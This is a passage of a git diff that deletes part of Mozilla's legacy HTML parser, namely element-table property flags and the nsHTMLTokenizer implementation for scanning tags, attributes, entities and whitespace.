- const TagList* mSpecialParents; //These are the special tags that contain this tag (directly)
- const TagList* mSpecialKids; //These are the extra things you can contain
-};
-
-extern const nsHTMLElement gHTMLElements[];
-
-//special property bits...
-static const int kPreferBody = 0x0001; //this kHeadMisc tag prefers to be in the body if there isn't an explicit <head>
-static const int kOmitEndTag = 0x0002; //safely ignore end tag
-static const int kLegalOpen = 0x0004; //Lets BODY, TITLE, SCRIPT to reopen
-static const int kNoPropagate = 0x0008; //If set, this tag won't propagate as a child
-static const int kBadContentWatch = 0x0010;
-
-static const int kNoStyleLeaksIn = 0x0020;
-static const int kNoStyleLeaksOut = 0x0040;
-
-static const int kMustCloseSelf = 0x0080;
-static const int kSaveMisplaced = 0x0100; //If set, then children this tag can't contain are pushed onto the misplaced stack
-static const int kNonContainer = 0x0200; //If set, then this tag is not a container.
-static const int kHandleStrayTag = 0x0400; //If set, we automatically open a start tag
-static const int kRequiresBody = 0x0800; //If set, then in case of no BODY one will be opened up immediately.
-static const int kVerifyHierarchy = 0x1000; //If set, check to see if the tag is a child or a sibling..
-static const int kPreferHead = 0x2000; //This kHeadMisc tag prefers to be in the head if there isn't an explicit <body>
-
-#endif
diff --git a/parser/htmlparser/src/nsHTMLTokenizer.cpp b/parser/htmlparser/src/nsHTMLTokenizer.cpp
deleted file mode 100644
index ce35ac56e..000000000
--- a/parser/htmlparser/src/nsHTMLTokenizer.cpp
+++ /dev/null
@@ -1,1197 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set sw=2 ts=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * @file nsHTMLTokenizer.cpp
- * This is an implementation of the nsITokenizer interface.
- * This file contains the implementation of a tokenizer to tokenize an HTML
- * document. It attempts to do so, making tradeoffs between compatibility with
- * older parsers and the SGML specification. Note that most of the real
- * "tokenization" takes place in nsHTMLTokens.cpp.
- */
-
-#include "nsIAtom.h"
-#include "nsHTMLTokenizer.h"
-#include "nsScanner.h"
-#include "nsElementTable.h"
-#include "nsReadableUtils.h"
-#include "nsUnicharUtils.h"
-#include "nsParserConstants.h"
-#include "mozilla/Likely.h"
-
-/************************************************************************
- And now for the main class -- nsHTMLTokenizer...
- ************************************************************************/
-
-/**
- * Satisfy the nsISupports interface.
- */
-NS_IMPL_ISUPPORTS1(nsHTMLTokenizer, nsITokenizer)
-
-/**
- * Default constructor
- *
- * @param aParseMode The current mode the document is in (quirks, etc.)
- * @param aDocType The document type of the current document
- * @param aCommand What we are trying to do (view-source, parse a fragment, etc.)
- */
-nsHTMLTokenizer::nsHTMLTokenizer(nsDTDMode aParseMode,
- eParserDocType aDocType,
- eParserCommands aCommand,
- uint32_t aFlags)
- : mTokenDeque(0), mFlags(aFlags)
-{
- if (aParseMode == eDTDMode_full_standards ||
- aParseMode == eDTDMode_almost_standards) {
- mFlags |= NS_IPARSER_FLAG_STRICT_MODE;
- } else if (aParseMode == eDTDMode_quirks) {
- mFlags |= NS_IPARSER_FLAG_QUIRKS_MODE;
- } else if (aParseMode == eDTDMode_autodetect) {
- mFlags |= NS_IPARSER_FLAG_AUTO_DETECT_MODE;
- } else {
- mFlags |= NS_IPARSER_FLAG_UNKNOWN_MODE;
- }
-
- if (aDocType == ePlainText) {
- mFlags |= NS_IPARSER_FLAG_PLAIN_TEXT;
- } else if (aDocType == eXML) {
- mFlags |= NS_IPARSER_FLAG_XML;
- } else if (aDocType == eHTML_Quirks ||
- aDocType == eHTML_Strict) {
- mFlags |= NS_IPARSER_FLAG_HTML;
- }
-
- mFlags |= aCommand == eViewSource
- ? NS_IPARSER_FLAG_VIEW_SOURCE
- : NS_IPARSER_FLAG_VIEW_NORMAL;
-
- NS_ASSERTION(!(mFlags & NS_IPARSER_FLAG_XML) ||
- (mFlags & NS_IPARSER_FLAG_VIEW_SOURCE),
- "Why isn't this XML document going through our XML parser?");
-
- mTokenAllocator = nullptr;
- mTokenScanPos = 0;
-}
-
-/**
- * The destructor ensures that we don't leak any left over tokens.
- */
-nsHTMLTokenizer::~nsHTMLTokenizer()
-{
- if (mTokenDeque.GetSize()) {
- CTokenDeallocator theDeallocator(mTokenAllocator->GetArenaPool());
- mTokenDeque.ForEach(theDeallocator);
- }
-}
-
-/*static*/ uint32_t
-nsHTMLTokenizer::GetFlags(const nsIContentSink* aSink)
-{
- uint32_t flags = 0;
- nsCOMPtr<nsIHTMLContentSink> sink =
- do_QueryInterface(const_cast<nsIContentSink*>(aSink));
- if (sink) {
- bool enabled = true;
- sink->IsEnabled(eHTMLTag_frameset, &enabled);
- if (enabled) {
- flags |= NS_IPARSER_FLAG_FRAMES_ENABLED;
- }
- sink->IsEnabled(eHTMLTag_script, &enabled);
- if (enabled) {
- flags |= NS_IPARSER_FLAG_SCRIPT_ENABLED;
- }
- }
- return flags;
-}
-
-/*******************************************************************
- Here begins the real working methods for the tokenizer.
- *******************************************************************/
-
-/**
- * Adds a token onto the end of the deque if aResult is a successful result.
- * Otherwise, this function frees aToken and sets it to nullptr.
- *
- * @param aToken The token that wants to be added.
- * @param aResult The error code that will be used to determine if we actually
- * want to push this token.
- * @param aDeque The deque we want to push aToken onto.
- * @param aTokenAllocator The allocator we use to free aToken in case aResult
- * is not a success code.
- */
-/* static */
-void
-nsHTMLTokenizer::AddToken(CToken*& aToken,
- nsresult aResult,
- nsDeque* aDeque,
- nsTokenAllocator* aTokenAllocator)
-{
- if (aToken && aDeque) {
- if (NS_SUCCEEDED(aResult)) {
- aDeque->Push(aToken);
- } else {
- IF_FREE(aToken, aTokenAllocator);
- }
- }
-}
-
-/**
- * Retrieve a pointer to the global token recycler...
- *
- * @return Pointer to recycler (or null)
- */
-nsTokenAllocator*
-nsHTMLTokenizer::GetTokenAllocator()
-{
- return mTokenAllocator;
-}
-
-/**
- * This method provides access to the topmost token in the tokenDeque.
- * The token is not really removed from the list.
- *
- * @return Pointer to token
- */
-CToken*
-nsHTMLTokenizer::PeekToken()
-{
- return (CToken*)mTokenDeque.PeekFront();
-}
-
-/**
- * This method provides access to the topmost token in the tokenDeque.
- * The token is really removed from the list; if the list is empty we return 0.
- *
- * @return Pointer to token or NULL
- */
-CToken*
-nsHTMLTokenizer::PopToken()
-{
- return (CToken*)mTokenDeque.PopFront();
-}
-
-
-/**
- * Pushes a token onto the front of our deque such that the next call to
- * PopToken() or PeekToken() will return that token.
- *
- * @param theToken The next token to be processed
- * @return theToken
- */
-CToken*
-nsHTMLTokenizer::PushTokenFront(CToken* theToken)
-{
- mTokenDeque.PushFront(theToken);
- return theToken;
-}
-
-/**
- * Pushes a token onto the deque.
- *
- * @param theToken the new token.
- * @return theToken
- */
-CToken*
-nsHTMLTokenizer::PushToken(CToken* theToken)
-{
- mTokenDeque.Push(theToken);
- return theToken;
-}
-
-/**
- * Returns the size of the deque.
- *
- * @return The number of remaining tokens.
- */
-int32_t
-nsHTMLTokenizer::GetCount()
-{
- return mTokenDeque.GetSize();
-}
-
-/**
- * Allows access to an arbitrary token in the deque. The accessed token is left
- * in the deque.
- *
- * @param anIndex The index of the target token. Token 0 would be the same as
- * the result of a call to PeekToken()
- * @return The requested token.
- */
-CToken*
-nsHTMLTokenizer::GetTokenAt(int32_t anIndex)
-{
- return (CToken*)mTokenDeque.ObjectAt(anIndex);
-}
-
-/**
- * This method is part of the "sandwich" that occurs when we want to tokenize
- * a document. This prepares us to be able to tokenize properly.
- *
- * @param aIsFinalChunk Whether this is the last chunk of data that we will
- * get to see.
- * @param aTokenAllocator The token allocator to use for this document.
- * @return Our success in setting up.
- */
-nsresult
-nsHTMLTokenizer::WillTokenize(bool aIsFinalChunk,
- nsTokenAllocator* aTokenAllocator)
-{
- mTokenAllocator = aTokenAllocator;
- mIsFinalChunk = aIsFinalChunk;
-
- // Cause ScanDocStructure to search from here for new tokens...
- mTokenScanPos = mTokenDeque.GetSize();
- return NS_OK;
-}
-
-/**
- * Pushes all of the tokens in aDeque onto the front of our deque so they
- * get processed before any other tokens.
- *
- * @param aDeque The deque with the tokens in it.
- */
-void
-nsHTMLTokenizer::PrependTokens(nsDeque& aDeque)
-{
- int32_t aCount = aDeque.GetSize();
-
- for (int32_t anIndex = 0; anIndex < aCount; ++anIndex) {
- CToken* theToken = (CToken*)aDeque.Pop();
- PushTokenFront(theToken);
- }
-}
-
-/**
- * Copies the state flags from aTokenizer into this tokenizer. This is used
- * to pass information around between the main tokenizer and tokenizers
- * created for document.write() calls.
- *
- * @param aTokenizer The tokenizer with more information in it.
- * @return NS_OK
- */
-nsresult
-nsHTMLTokenizer::CopyState(nsITokenizer* aTokenizer)
-{
- if (aTokenizer) {
- mFlags = ((nsHTMLTokenizer*)aTokenizer)->mFlags;
- }
-
- return NS_OK;
-}
-
-/**
- * This is a utilty method for ScanDocStructure, which finds a given
- * tag in the stack. The return value is meant to be used with
- * nsDeque::ObjectAt() on aTagStack.
- *
- * @param aTag -- the ID of the tag we're seeking
- * @param aTagStack -- the stack to be searched
- * @return index position of tag in stack if found, otherwise kNotFound
- */
-static int32_t
-FindLastIndexOfTag(eHTMLTags aTag, nsDeque &aTagStack)
-{
- int32_t theCount = aTagStack.GetSize();
-
- while (0 < theCount) {
- CHTMLToken* theToken = (CHTMLToken*)aTagStack.ObjectAt(--theCount);
- if (theToken) {
- eHTMLTags theTag = (eHTMLTags)theToken->GetTypeID();
- if (theTag == aTag) {
- return theCount;
- }
- }
- }
-
- return kNotFound;
-}
-
-/**
- * This method scans the sequence of tokens to determine whether or not the
- * tag structure of the document is well formed. In well formed cases, we can
- * skip doing residual style handling and allow inlines to contain block-level
- * elements.
- *
- * @param aFinalChunk Is unused.
- * @return Success (currently, this function cannot fail).
- */
-nsresult nsHTMLTokenizer::ScanDocStructure(bool aFinalChunk)
-{
- nsresult result = NS_OK;
- if (!mTokenDeque.GetSize()) {
- return result;
- }
-
- CHTMLToken* theToken = (CHTMLToken*)mTokenDeque.ObjectAt(mTokenScanPos);
-
- // Start by finding the first start tag that hasn't been reviewed.
- while (mTokenScanPos > 0) {
- if (theToken) {
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
- if (theType == eToken_start &&
- theToken->GetContainerInfo() == eFormUnknown) {
- break;
- }
- }
- theToken = (CHTMLToken*)mTokenDeque.ObjectAt(--mTokenScanPos);
- }
-
- // Now that we know where to start, let's walk through the
- // tokens to see which are well-formed. Stop when you run out
- // of fresh tokens.
-
- nsDeque theStack(0);
- nsDeque tempStack(0);
- int32_t theStackDepth = 0;
- // Don't bother if we get ridiculously deep.
- static const int32_t theMaxStackDepth = 200;
-
- while (theToken && theStackDepth < theMaxStackDepth) {
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
- eHTMLTags theTag = (eHTMLTags)theToken->GetTypeID();
-
- if (nsHTMLElement::IsContainer(theTag)) { // Bug 54117
- bool theTagIsBlock = gHTMLElements[theTag].IsMemberOf(kBlockEntity);
- bool theTagIsInline = theTagIsBlock
- ? false
- : gHTMLElements[theTag].IsMemberOf(kInlineEntity);
-
- if (theTagIsBlock || theTagIsInline || eHTMLTag_table == theTag) {
- switch(theType) {
- case eToken_start:
- {
- if (gHTMLElements[theTag].ShouldVerifyHierarchy()) {
- int32_t earlyPos = FindLastIndexOfTag(theTag, theStack);
- if (earlyPos != kNotFound) {
- // Uh-oh, we've found a tag that is not allowed to nest at
- // all. Mark the previous one and all of its children as
- // malformed to increase our chances of doing RS handling
- // on all of them. We want to do this for cases such as:
- // <a><div><a></a></div></a>.
- // Note that we have to iterate through all of the chilren
- // of the original malformed tag to protect against:
- // <a><font><div><a></a></div></font></a>, so that the <font>
- // is allowed to contain the <div>.
- // XXX What about <a><span><a>, where the second <a> closes
- // the <span>?
- nsDequeIterator it(theStack, earlyPos), end(theStack.End());
- while (it < end) {
- CHTMLToken *theMalformedToken =
- static_cast<CHTMLToken*>(it++);
-
- theMalformedToken->SetContainerInfo(eMalformed);
- }
- }
- }
-
- theStack.Push(theToken);
- ++theStackDepth;
- }
- break;
- case eToken_end:
- {
- CHTMLToken *theLastToken =
- static_cast<CHTMLToken*>(theStack.Peek());
- if (theLastToken) {
- if (theTag == theLastToken->GetTypeID()) {
- theStack.Pop(); // Yank it for real
- theStackDepth--;
- theLastToken->SetContainerInfo(eWellFormed);
- } else {
- // This token wasn't what we expected it to be! We need to
- // go searching for its real start tag on our stack. Each
- // tag in between the end tag and start tag must be malformed
-
- if (FindLastIndexOfTag(theTag, theStack) != kNotFound) {
- // Find theTarget in the stack, marking each (malformed!)
- // tag in our way.
- theStack.Pop(); // Pop off theLastToken for real.
- do {
- theLastToken->SetContainerInfo(eMalformed);
- tempStack.Push(theLastToken);
- theLastToken = static_cast<CHTMLToken*>(theStack.Pop());
- } while (theLastToken && theTag != theLastToken->GetTypeID());
- // XXX The above test can confuse two different userdefined
- // tags.
-
- NS_ASSERTION(theLastToken,
- "FindLastIndexOfTag lied to us!"
- " We couldn't find theTag on theStack");
- theLastToken->SetContainerInfo(eMalformed);
-
- // Great, now push all of the other tokens back onto the
- // stack to preserve the general structure of the document.
- // Note that we don't push the target token back onto the
- // the stack (since it was just closed).
- while (tempStack.GetSize() != 0) {
- theStack.Push(tempStack.Pop());
- }
- }
- }
- }
- }
- break;
- default:
- break;
- }
- }
- }
-
- theToken = (CHTMLToken*)mTokenDeque.ObjectAt(++mTokenScanPos);
- }
-
- return result;
-}
-
-/**
- * This method is called after we're done tokenizing a chunk of data.
- *
- * @param aFinalChunk Tells us if this was the last chunk of data.
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::DidTokenize(bool aFinalChunk)
-{
- return ScanDocStructure(aFinalChunk);
-}
-
-/**
- * This method is repeatedly called by the tokenizer.
- * Each time, we determine the kind of token we're about to
- * read, and then we call the appropriate method to handle
- * that token type.
- *
- * @param aScanner The source of our input.
- * @param aFlushTokens An OUT parameter to tell the caller whether it should
- * process our queued tokens up to now (e.g., when we
- * reach a <script>).
- * @return Success or error
- */
-nsresult
-nsHTMLTokenizer::ConsumeToken(nsScanner& aScanner, bool& aFlushTokens)
-{
- PRUnichar theChar;
- CToken* theToken = nullptr;
-
- nsresult result = aScanner.Peek(theChar);
-
- switch(result) {
- case kEOF:
- // Tell our caller that'we finished.
- return result;
-
- case NS_OK:
- default:
- if (!(mFlags & NS_IPARSER_FLAG_PLAIN_TEXT)) {
- if (kLessThan == theChar) {
- return ConsumeTag(theChar, theToken, aScanner, aFlushTokens);
- } else if (kAmpersand == theChar) {
- return ConsumeEntity(theChar, theToken, aScanner);
- }
- }
-
- if (kCR == theChar || kLF == theChar) {
- return ConsumeNewline(theChar, theToken, aScanner);
- } else {
- if (!nsCRT::IsAsciiSpace(theChar)) {
- if (theChar != '\0') {
- result = ConsumeText(theToken, aScanner);
- } else {
- // Skip the embedded null char. Fix bug 64098.
- aScanner.GetChar(theChar);
- }
- break;
- }
- result = ConsumeWhitespace(theChar, theToken, aScanner);
- }
- break;
- }
-
- return result;
-}
-
-/**
- * This method is called just after a "<" has been consumed
- * and we know we're at the start of some kind of tagged
- * element. We don't know yet if it's a tag or a comment.
- *
- * @param aChar is the last char read
- * @param aToken is the out arg holding our new token (the function allocates
- * the return token using mTokenAllocator).
- * @param aScanner represents our input source
- * @param aFlushTokens is an OUT parameter use to tell consumers to flush
- * the current tokens after processing the current one.
- * @return error code.
- */
-nsresult
-nsHTMLTokenizer::ConsumeTag(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner,
- bool& aFlushTokens)
-{
- PRUnichar theNextChar, oldChar;
- nsresult result = aScanner.Peek(aChar, 1);
-
- if (NS_OK == result) {
- switch (aChar) {
- case kForwardSlash:
- result = aScanner.Peek(theNextChar, 2);
-
- if (NS_OK == result) {
- // Get the original "<" (we've already seen it with a Peek)
- aScanner.GetChar(oldChar);
-
- // XML allows non ASCII tag names, consume this as an end tag. This
- // is needed to make XML view source work
- bool isXML = !!(mFlags & NS_IPARSER_FLAG_XML);
- if (nsCRT::IsAsciiAlpha(theNextChar) ||
- kGreaterThan == theNextChar ||
- (isXML && !nsCRT::IsAscii(theNextChar))) {
- result = ConsumeEndTag(aChar, aToken, aScanner);
- } else {
- result = ConsumeComment(aChar, aToken, aScanner);
- }
- }
-
- break;
-
- case kExclamation:
- result = aScanner.Peek(theNextChar, 2);
-
- if (NS_OK == result) {
- // Get the original "<" (we've already seen it with a Peek)
- aScanner.GetChar(oldChar);
-
- if (kMinus == theNextChar || kGreaterThan == theNextChar) {
- result = ConsumeComment(aChar, aToken, aScanner);
- } else {
- result = ConsumeSpecialMarkup(aChar, aToken, aScanner);
- }
- }
- break;
-
- case kQuestionMark:
- // It must be a processing instruction...
- // Get the original "<" (we've already seen it with a Peek)
- aScanner.GetChar(oldChar);
- result = ConsumeProcessingInstruction(aChar, aToken, aScanner);
- break;
-
- default:
- // XML allows non ASCII tag names, consume this as a start tag.
- bool isXML = !!(mFlags & NS_IPARSER_FLAG_XML);
- if (nsCRT::IsAsciiAlpha(aChar) ||
- (isXML && !nsCRT::IsAscii(aChar))) {
- // Get the original "<" (we've already seen it with a Peek)
- aScanner.GetChar(oldChar);
- result = ConsumeStartTag(aChar, aToken, aScanner, aFlushTokens);
- } else {
- // We are not dealing with a tag. So, don't consume the original
- // char and leave the decision to ConsumeText().
- result = ConsumeText(aToken, aScanner);
- }
- }
- }
-
- // Last ditch attempt to make sure we don't lose data.
- if (kEOF == result && !aScanner.IsIncremental()) {
- // Whoops, we don't want to lose any data! Consume the rest as text.
- // This normally happens for either a trailing < or </
- result = ConsumeText(aToken, aScanner);
- }
-
- return result;
-}
-
-/**
- * This method is called just after we've consumed a start or end
- * tag, and we now have to consume its attributes.
- *
- * @param aChar is the last char read
- * @param aToken is the start or end tag that "owns" these attributes.
- * @param aScanner represents our input source
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeAttributes(PRUnichar aChar,
- CToken* aToken,
- nsScanner& aScanner)
-{
- bool done = false;
- nsresult result = NS_OK;
- int16_t theAttrCount = 0;
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
-
- while (!done && result == NS_OK) {
- CAttributeToken* theToken =
- static_cast<CAttributeToken*>
- (theAllocator->CreateTokenOfType(eToken_attribute,
- eHTMLTag_unknown));
- if (MOZ_LIKELY(theToken != nullptr)) {
- // Tell the new token to finish consuming text...
- result = theToken->Consume(aChar, aScanner, mFlags);
-
- if (NS_SUCCEEDED(result)) {
- ++theAttrCount;
- AddToken((CToken*&)theToken, result, &mTokenDeque, theAllocator);
- } else {
- IF_FREE(theToken, mTokenAllocator);
- // Bad attribute returns shouldn't propagate out.
- if (NS_ERROR_HTMLPARSER_BADATTRIBUTE == result) {
- result = NS_OK;
- }
- }
- }
- else {
- result = NS_ERROR_OUT_OF_MEMORY;
- }
-
-#ifdef DEBUG
- if (NS_SUCCEEDED(result)) {
- int32_t newline = 0;
- aScanner.SkipWhitespace(newline);
- NS_ASSERTION(newline == 0,
- "CAttribute::Consume() failed to collect all the newlines!");
- }
-#endif
- if (NS_SUCCEEDED(result)) {
- result = aScanner.Peek(aChar);
- if (NS_SUCCEEDED(result)) {
- if (aChar == kGreaterThan) { // You just ate the '>'
- aScanner.GetChar(aChar); // Skip the '>'
- done = true;
- } else if (aChar == kLessThan) {
- aToken->SetInError(true);
- done = true;
- }
- }
- }
- }
-
- if (NS_FAILED(result)) {
- aToken->SetInError(true);
-
- if (!aScanner.IsIncremental()) {
- result = NS_OK;
- }
- }
-
- aToken->SetAttributeCount(theAttrCount);
- return result;
-}
-
-/**
- * This method consumes a start tag and all of its attributes.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token. (allocated
- * by the function using mTokenAllocator
- * @param aScanner Our source of data
- * @param aFlushTokens is an OUT parameter use to tell consumers to flush
- * the current tokens after processing the current one.
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeStartTag(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner,
- bool& aFlushTokens)
-{
- // Remember this for later in case you have to unwind...
- int32_t theDequeSize = mTokenDeque.GetSize();
- nsresult result = NS_OK;
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_start, eHTMLTag_unknown);
- NS_ENSURE_TRUE(aToken, NS_ERROR_OUT_OF_MEMORY);
-
- // Tell the new token to finish consuming text...
- result = aToken->Consume(aChar, aScanner, mFlags);
-
- if (NS_SUCCEEDED(result)) {
- AddToken(aToken, result, &mTokenDeque, theAllocator);
-
- eHTMLTags theTag = (eHTMLTags)aToken->GetTypeID();
-
- // Good. Now, let's see if the next char is ">".
- // If so, we have a complete tag, otherwise, we have attributes.
- result = aScanner.Peek(aChar);
- if (NS_FAILED(result)) {
- aToken->SetInError(true);
-
- // Don't return early here so we can create a text and end token for
- // the special <iframe>, <script> and similar tags down below.
- result = NS_OK;
- } else {
- if (kGreaterThan != aChar) { // Look for a '>'
- result = ConsumeAttributes(aChar, aToken, aScanner);
- } else {
- aScanner.GetChar(aChar);
- }
- }
-
- /* Now that that's over with, we have one more problem to solve.
- In the case that we just read a <SCRIPT> or <STYLE> tags, we should go and
- consume all the content itself.
- But XML doesn't treat these tags differently, so we shouldn't if the
- document is XML.
- */
- if (NS_SUCCEEDED(result) && !(mFlags & NS_IPARSER_FLAG_XML)) {
- bool isCDATA = gHTMLElements[theTag].CanContainType(kCDATA);
- bool isPCDATA = eHTMLTag_textarea == theTag ||
- eHTMLTag_title == theTag;
-
- // XXX This is an evil hack, we should be able to handle these properly
- // in the DTD.
- if ((eHTMLTag_iframe == theTag &&
- (mFlags & NS_IPARSER_FLAG_FRAMES_ENABLED)) ||
- (eHTMLTag_noframes == theTag &&
- (mFlags & NS_IPARSER_FLAG_FRAMES_ENABLED)) ||
- (eHTMLTag_noscript == theTag &&
- (mFlags & NS_IPARSER_FLAG_SCRIPT_ENABLED)) ||
- (eHTMLTag_noembed == theTag)) {
- isCDATA = true;
- }
-
- // Plaintext contains CDATA, but it's special, so we handle it
- // differently than the other CDATA elements
- if (eHTMLTag_plaintext == theTag) {
- isCDATA = false;
-
- // Note: We check in ConsumeToken() for this flag, and if we see it
- // we only construct text tokens (which is what we want).
- mFlags |= NS_IPARSER_FLAG_PLAIN_TEXT;
- }
-
-
- if (isCDATA || isPCDATA) {
- bool done = false;
- nsDependentString endTagName(nsHTMLTags::GetStringValue(theTag));
-
- CToken* text =
- theAllocator->CreateTokenOfType(eToken_text, eHTMLTag_text);
- NS_ENSURE_TRUE(text, NS_ERROR_OUT_OF_MEMORY);
-
- CTextToken* textToken = static_cast<CTextToken*>(text);
-
- if (isCDATA) {
- result = textToken->ConsumeCharacterData(theTag != eHTMLTag_script,
- aScanner,
- endTagName,
- mFlags,
- done);
-
- // Only flush tokens for <script>, to give ourselves more of a
- // chance of allowing inlines to contain blocks.
- aFlushTokens = done && theTag == eHTMLTag_script;
- } else if (isPCDATA) {
- // Title is consumed conservatively in order to not regress
- // bug 42945
- result = textToken->ConsumeParsedCharacterData(
- theTag == eHTMLTag_textarea,
- theTag == eHTMLTag_title,
- aScanner,
- endTagName,
- mFlags,
- done);
-
- // Note: we *don't* set aFlushTokens here.
- }
-
- // We want to do this unless result is kEOF, in which case we will
- // simply unwind our stack and wait for more data anyway.
- if (kEOF != result) {
- AddToken(text, NS_OK, &mTokenDeque, theAllocator);
- CToken* endToken = nullptr;
-
- if (NS_SUCCEEDED(result) && done) {
- PRUnichar theChar;
- // Get the <
- result = aScanner.GetChar(theChar);
- NS_ASSERTION(NS_SUCCEEDED(result) && theChar == kLessThan,
- "CTextToken::Consume*Data is broken!");
-#ifdef DEBUG
- // Ensure we have a /
- PRUnichar tempChar; // Don't change non-debug vars in debug-only code
- result = aScanner.Peek(tempChar);
- NS_ASSERTION(NS_SUCCEEDED(result) && tempChar == kForwardSlash,
- "CTextToken::Consume*Data is broken!");
-#endif
- result = ConsumeEndTag(PRUnichar('/'), endToken, aScanner);
- if (!(mFlags & NS_IPARSER_FLAG_VIEW_SOURCE) &&
- NS_SUCCEEDED(result)) {
- // If ConsumeCharacterData returned a success result (and
- // we're not in view source), then we want to make sure that
- // we're going to execute this script (since the result means
- // that we've found an end tag that satisfies all of the right
- // conditions).
- endToken->SetInError(false);
- }
- } else if (result == kFakeEndTag &&
- !(mFlags & NS_IPARSER_FLAG_VIEW_SOURCE)) {
- result = NS_OK;
- endToken = theAllocator->CreateTokenOfType(eToken_end, theTag,
- endTagName);
- AddToken(endToken, result, &mTokenDeque, theAllocator);
- if (MOZ_LIKELY(endToken != nullptr)) {
- endToken->SetInError(true);
- }
- else {
- result = NS_ERROR_OUT_OF_MEMORY;
- }
- } else if (result == kFakeEndTag) {
- // If we are here, we are both faking having seen the end tag
- // and are in view-source.
- result = NS_OK;
- }
- } else {
- IF_FREE(text, mTokenAllocator);
- }
- }
- }
-
- // This code is confusing, so pay attention.
- // If you're here, it's because we were in the midst of consuming a start
- // tag but ran out of data (not in the stream, but in this *part* of the
- // stream. For simplicity, we have to unwind our input. Therefore, we pop
- // and discard any new tokens we've queued this round. Later we can get
- // smarter about this.
- if (NS_FAILED(result)) {
- while (mTokenDeque.GetSize()>theDequeSize) {
- CToken* theToken = (CToken*)mTokenDeque.Pop();
- IF_FREE(theToken, mTokenAllocator);
- }
- }
- } else {
- IF_FREE(aToken, mTokenAllocator);
- }
-
- return result;
-}
-
-/**
- * This method consumes an end tag and any "attributes" that may come after it.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result
- */
-nsresult
-nsHTMLTokenizer::ConsumeEndTag(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the "/" (we've already seen it with a Peek)
- aScanner.GetChar(aChar);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_end, eHTMLTag_unknown);
- NS_ENSURE_TRUE(aToken, NS_ERROR_OUT_OF_MEMORY);
-
- // Remember this for later in case you have to unwind...
- int32_t theDequeSize = mTokenDeque.GetSize();
- nsresult result = NS_OK;
-
- // Tell the new token to finish consuming text...
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- if (NS_FAILED(result)) {
- // Note that this early-return here is safe because we have not yet
- // added any of our tokens to the queue (AddToken only adds the token if
- // result is a success), so we don't need to fall through.
- return result;
- }
-
- result = aScanner.Peek(aChar);
- if (NS_FAILED(result)) {
- aToken->SetInError(true);
-
- // Note: We know here that the scanner is not incremental since if
- // this peek fails, then we've already masked over a kEOF coming from
- // the Consume() call above.
- return NS_OK;
- }
-
- if (kGreaterThan != aChar) {
- result = ConsumeAttributes(aChar, aToken, aScanner);
- } else {
- aScanner.GetChar(aChar);
- }
-
- // Do the same thing as we do in ConsumeStartTag. Basically, if we've run
- // out of room in this *section* of the document, pop all of the tokens
- // we've consumed this round and wait for more data.
- if (NS_FAILED(result)) {
- while (mTokenDeque.GetSize() > theDequeSize) {
- CToken* theToken = (CToken*)mTokenDeque.Pop();
- IF_FREE(theToken, mTokenAllocator);
- }
- }
-
- return result;
-}
-
-/**
- * This method is called just after a "&" has been consumed
- * and we know we're at the start of an entity.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeEntity(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- PRUnichar theChar;
- nsresult result = aScanner.Peek(theChar, 1);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- if (NS_SUCCEEDED(result)) {
- if (nsCRT::IsAsciiAlpha(theChar) || theChar == kHashsign) {
- aToken = theAllocator->CreateTokenOfType(eToken_entity, eHTMLTag_entity);
- NS_ENSURE_TRUE(aToken, NS_ERROR_OUT_OF_MEMORY);
- result = aToken->Consume(theChar, aScanner, mFlags);
-
- if (result == NS_HTMLTOKENS_NOT_AN_ENTITY) {
- IF_FREE(aToken, mTokenAllocator);
- } else {
- if (result == kEOF && !aScanner.IsIncremental()) {
- result = NS_OK; // Use as much of the entity as you can get.
- }
-
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- return result;
- }
- }
-
- // Oops, we're actually looking at plain text...
- result = ConsumeText(aToken, aScanner);
- } else if (result == kEOF && !aScanner.IsIncremental()) {
- // If the last character in the file is an &, consume it as text.
- result = ConsumeText(aToken, aScanner);
- if (aToken) {
- aToken->SetInError(true);
- }
- }
-
- return result;
-}
-
-
-/**
- * This method is called just after whitespace has been
- * consumed and we know we're at the start a whitespace run.
- *
- * @param aChar The last character read from the scanner.
- * @param aToken The OUT parameter that holds our resulting token.
- * @param aScanner Our source of data
- * @return Error result.
- */
-nsresult
-nsHTMLTokenizer::ConsumeWhitespace(PRUnichar aChar,
- CToken*& aToken,
- nsScanner& aScanner)
-{
- // Get the whitespace character
- aScanner.GetChar(aChar);
-
- nsTokenAllocator* theAllocator = this->GetTokenAllocator();
- aToken = theAllocator->CreateTokenOfType(eToken_whitespace,
- eHTMLTag_whitespace);
- nsresult result = NS_OK;
- if (aToken) {
- result = aToken->Consume(aChar, aScanner, mFlags);
- AddToken(aToken, result, &mTokenDeque, theAllocator);
- }
-
- return result;
-}
-
-/**
- * This method is called just after a "<!" has been consumed
- * and we know we're at the start of a comment.
- *
- * @param aChar The last character read from the scanner.
